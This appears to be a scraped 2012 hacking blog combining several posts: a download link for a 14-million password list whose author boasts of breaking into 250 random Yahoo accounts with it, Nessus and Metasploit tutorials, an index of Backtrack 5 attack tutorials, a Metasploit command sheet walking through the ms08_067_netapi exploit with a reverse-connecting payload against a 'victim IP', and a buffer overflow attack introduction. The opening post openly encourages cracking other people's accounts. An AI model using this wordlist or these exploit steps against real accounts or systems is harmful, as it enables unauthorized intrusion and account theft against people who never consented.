Saturday, 25 August 2012

[Download] 14 million password list for Crack Anthing you want :D

[Download] 14 million password list for Crack Anthing you want :D
Salamz ML ,

Well i was thinking to share some cracking stuff with you guys ,
The list i'm providing here its a huge list , i use to crack Hashes , SSH Logins and RDP etc etc. you can break into almost anything with this file , but yes , the caracking will took so much time.

i remember , a year back i use to crack yahoo email id , file hosting ids like : fileserve.com , mediafire , megaupload ( Busted Tongue) , uploading.com and much more ,
i even use this list with other programs such as john the ripper, other simple bruteforcing python/perl scripts depending on what i am trying to break into.

But i most prefer hydra for bruteforcing and cracking logins for special ports Tongue

so what em saying is i tested the password list on yahoo once using some yahoo cracker tools and in 2 days of continuous Cracking i break into random 250 yahoo Accounts ...lolx Tongue just for fun Big Grin

Anyway .. you can use it for anything , just explore your mind Big Grin

Here is the Download Link : http://www.mediafire.com/?glyzo6ubjgo0n7k


NOTE : Also if you open in notepad you will see the words are stuck together open in notepad ++ or even with wordpad to see the the words normally.

Tuesday, 31 July 2012

Nessus With Metasploit Tutorial- Backtrack 5 Video Tutorial


Nessus the best vulnerability scanner, management and assessment tool and the metasploit the best database, software, program and tool for exploits. They both are the best in their domain but when we connect them to each other there is a extra smartness and purity occur in short we will make a best penetration testing tool for exploit an operating system by using Nessus with Metasploit. However there is a different way to do so and we have shared different methods and tutorials to integrate Metasploit with nessus or vice versa.

In this article we will discuss the video tutorial in which I will show you the power of Nessus and metasploit. This tutorial is little from other tutorials that has been discussed before about Nessus,MetasploitNmap and Nexpose.

Here is the list of some tutorials and than I will show you the difference between them to this tutorial.

Below is the tutorial in which I will show some advance feature of nessus like Filter feature to get the exploit available on the public and by using Metasploit I will show you how to exploit a computer or a vulnerability that has been found by nessus.

Nessus Metasploit On Backtrack 5



After watching the video tutorial of Nessus with Metasploit backtrack 5 you have an idea about how to hack a vulnerable computer. This is why vulnerability scanning and patch management is very important.

Metasploit Tutorials From Beginner to Advance


Metasploit the database of all the exploits or a master of exploits, there are different tutorials of metasploit are available on Internet some of them are very useful. You can find different tutorials of metasploit with other tools like Nmap, Nessus, Nexpose and OpenVAS and we have also shared different tutorials for metasploit both videos and text based tutorial. This article will not discuss the new tutorial of metasploit but this article is a sort of index page for metasploit tutorial. 

As we have shared a list of backtrack 5 tutorial so here is the list of metasploit tutorial that will help a newbie or a professional to learn and to implement metasploit rules in the real penetration testing environment.

Metasploit- An Introduction

Armitage - Cyber Attack Management

Integrate Nessus With Metasploit- Tutorial

How To Use Armitage In Backtrack 5- Tutorial

Fast Track Hacking-Backtrack5 Tutorial

Metasploit 4 Advance Penetration Testing Tool

Karmetasploit- Backtrack 5 Tutorial

Social Engineering toolkit Tutorial-Backtrack 5

Metasploit Autopwn With Nessus Backtrack 5 Tutorial

Autopwn Metasploit Backtrack 5- Postgresql Solved

Metasploit Remote Desktop Exploit-Backtrack 5

Nexpose Vulnerability Scanner Tutorial- Linux Backtrack

Nessus With Metasploit Tutorial- Backtrack 5 Video Tutorial


This will be update as soon as new article will be publish so keep in touch to learn more to learn hacking and penetration testing with metasploit on backtrack machine.

Metasploit Basic Command Tutorial


There are many new user of metasploit (beginner of metasploit) ask use to write a basic introductory article about the basic metasploit command and basic usage of metasploit, however we have shared different advance and mid level metasploit tutorial on backtrack 5 you can learn different commands from these tutorials but here is the list of the best and most common commands that are used inmetasploit for different purposes. Later on we will share meterpreter commands as well.



Metasploit is the database of all exploits and a software that contain information about different exploits so here is the basic usage of metasploit, I am using backtrack 5 machine for this tutorial however if you are using other Linux distribution or windows OS than it is fine but the requirement is Metasploit.


Msfconsole


Msfconsole is a console or a command windows of metasploit that will give you the full support of internal and external metasploit commands, there was a web interface of metasploit but now we don't have that option.

So on your terminal type msfconsole to start metasploit console.


root@bt:~# msfconsole
Metasploit is also available on GUI (graphical user interface), if you want to run metasploit GUI than on the terminal type.


root@bt:~# msfgui


Help command of metasploit will give you the basic idea about the usage of metasploit, if you are looking for msfconsole help than from the root windows type

root@bt:~# msfconsole -h


For msfconsole usage you need to be on msfconsole window to get the help.

msf > help

Connect command is nothing but the alternate of telnet and ncat in metasploit, use connect command to connect with the remote and local host on metasploit you can define the IP of the host machine.



msf > connect -s www.metasploit.com 443
[*] Connected to www.metasploit.com:443
GET / HTTP/1.0
-s → SSL



Ping command of msfconsole is to check the alive host and so on.

msf > ping 192.168.1.45

Show exploits is a command to check all the available exploits on metasploit

msf > show exploits

Show payloads just like show exploits, show payloads will show you all the available payloads on metasploit.

msf > show payloads


Info command will give you more information about any exploits and payloads.

Msf>info <exploit>
msf>info <payload>


Use command will give metasploit an instruction to use a exploit or payload.

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

msf exploit(ms08_067_netapi) > show options To show available options
msf exploit(ms08_067_netapi) > set rhost 119.67.45.2 → To set remote IP (victim IP)
msf exploit(ms08_067_netapi) > set lhost 192.168.1.45 → To set local IP (attacker IP)
msf exploit(ms08_067_netapi) > set rport 445 → To set port number of remote host
msf exploit(ms08_067_netapi) > set lport 443 → To set port number of local host
msf exploit(ms08_067_netapi) > set payload windows/vncinject/reverse_tcp_dns → Tp set payload

msf exploit(ms08_067_netapi) > unset rhost → To remove rhost
msf exploit(ms08_067_netapi) > unset lhost → To remove local host
msf exploit(ms08_067_netapi) > exploit → To execute exploit
msf exploit(ms08_067_netapi) > back → To go back on the main window
msf exploit(ms08_067_netapi) > sessions -l → To check any active session
msf exploit(ms08_067_netapi) > sessions -i ID → To go on a active session ID must be numeric number

Buffer Overflow Attack Tutorial - Backtrack 5


Firewall and anti-virus are to protect your computer from hacking attack and from viruses but sometimes an attacker can easily bypass them and can get root access into your computer, there are so many techniques and tools are available to bypass or cheat anti-virus and firewall. Buffer overflow is the most common type of computer security attack that allows a hacker to get the administrator access into a computer or a network. As we have discussed so many tutorial by using Backtrack 5 to hack into windows operating system, however there are many exploits are also available for Linux operating system.

I really don't know about the author of this video but the video contain a good example of buffer overflow attack by using an exploit.

Requirements

  • Backtrack 5 or Backtrack 5 R1 (Attacker)
  • Windows (Victim)
  • Mestaploit
  • Apache
  • Brain